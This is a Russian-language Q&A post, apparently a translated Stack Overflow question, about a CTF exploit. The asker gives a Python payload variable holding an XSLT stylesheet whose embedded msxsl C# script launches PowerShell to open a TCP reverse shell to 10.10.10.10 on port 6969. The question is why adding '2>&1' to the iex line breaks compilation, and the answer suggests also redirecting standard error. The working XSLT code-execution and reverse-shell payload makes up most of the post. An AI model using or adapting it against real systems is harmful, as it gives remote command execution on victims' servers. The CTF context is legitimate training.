Обратная оболочка с использованием powershell - PullRequest
1 голос
/ 25 марта 2020

Я пишу полезную нагрузку для вызова CTF, чтобы получить обратную оболочку. Но определенная часть кода вызывает ошибку компиляции XSLT. Эксплойт написан на python, а переменная полезной нагрузки выглядит следующим образом:

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "$client = New-Object System.Net.Sockets.TCPClient(\'10.10.10.10\',6969);\
 $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\
 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); \
 $sendback = \'M \'; $sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \'; \
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);\
 $stream.Flush();};$client.Close()"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

, где значение $ sendback должно быть (iex $ data 2> & 1 | Out-String) (сейчас я написал 'M' для устранения неполадок), но это вызывает ошибку компиляции XSLT при замене на команду iex.

В чем проблема?

Редактировать: Я сузил проблему, $sendback=(iex $data | Out-String) работает , но не с "2> & 1" , Почему?

1 Ответ

0 голосов
/ 25 марта 2020

Я полагаю, исходя из ваших правок, что ваши свойства StartInfo неполные. PowerShell пытается перенаправить потоки, но единственный поток, который вы идентифицируете при выполнении процесса, это STDOUT. См. Этот фрагмент из ProcessStartInfo на MSDN:

Стандартный ввод обычно представляет собой клавиатуру, а стандартный вывод и стандартная ошибка обычно представляют собой экран монитора. Однако вы можете использовать свойства RedirectStandardInput, RedirectStandardOutput и RedirectStandardError, чтобы процесс получал входные данные или возвращал выходные данные в файл или другое устройство. Если вы используете свойства StandardInput, StandardOutput или StandardError в компоненте Process, вы должны сначала установить соответствующее значение в свойстве ProcessStartInfo. В противном случае система выдает исключение при чтении или записи в поток .

https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.processstartinfo?view=netframework-4.8

.. my bold. Поэтому я бы обновил ваши свойства System.Diagnostics.Process.StartInfo, чтобы включить все потоки, которые вы хотите захватить (например, proc.StartInfo.RedirectStandardError = true;)

...